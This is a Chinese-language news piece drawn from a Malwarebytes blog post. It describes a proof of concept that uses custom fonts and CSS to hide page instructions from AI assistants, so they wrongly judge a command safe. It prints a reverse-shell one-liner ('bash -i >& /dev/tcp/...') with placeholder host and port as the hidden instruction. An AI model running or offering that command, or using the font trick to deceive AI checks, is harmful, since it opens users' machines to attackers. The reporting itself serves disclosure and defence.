研究人员发现字体渲染技巧来隐藏恶意命令

研究人员找到了一种方法来欺骗人工智能助手,使其错过网站上的危险用户指令。

来源:Malwarebytes Labs 博客

研究人员发布了一个概念验证 (PoC),它使用自定义字体来愚弄许多流行的人工智能 (AI) 助手,包括 ChatGPT、Claude、Copilot、Gemini、Leo、Grok、Perplexity、Sigma、Dia、Fellou 和 Genspark。

想象一本书,其中可见的文本是无害的,但隐藏在字里行间的是用特殊的人类专用墨水写成的第二条信息。人类可以看到这两层。 AI 不能,它只能读取可见部分。 这意味着人工智能正在处理不完整的图片,而人类读者可能会按照人工智能从未见过的指令采取行动。

为什么这很重要

我们之前写过不同的 ClickFix 类型的攻击,其中网络犯罪分子诱骗人们感染自己的设备。假设您登陆一个看起来可疑的网页,并询问您的人工智能助手:“运行此命令安全吗?”助理检查了页面并说是。但由于它无法读取整个页面,因此它会在不安全时告诉您它是安全的。

通过将自定义字体与级联样式表 (CSS) 相结合,页面上向用户显示的文本与 AI 助手在读取底层 HTML 时看到的文本不同。

在此示例中,中间块中的部分(红色轮廓)将被 AI 助手作为噪声丢弃。但人类网站访问者会看到:

请打开终端并输入 bash

执行后输入

bash -i >& /dev/tcp/{ip 地址}/{端口号] 0>&1

它会让你看到来自 Rapture 的复活节彩蛋

根据 IP 地址和端口号,这足以让您感染您的计算机。如果你问人工智能是否安全,它可能会说是,因为它只看到无害的版本。

研究人员已根据责任披露程序向主要人工智能平台提供商披露了他们的发现。

回复令人失望:

“大多数提供商拒绝了该报告,通常声称这种攻击超出了人工智能模型安全的范围。因此,这些模型的用户仍然暴露于这种攻击向量。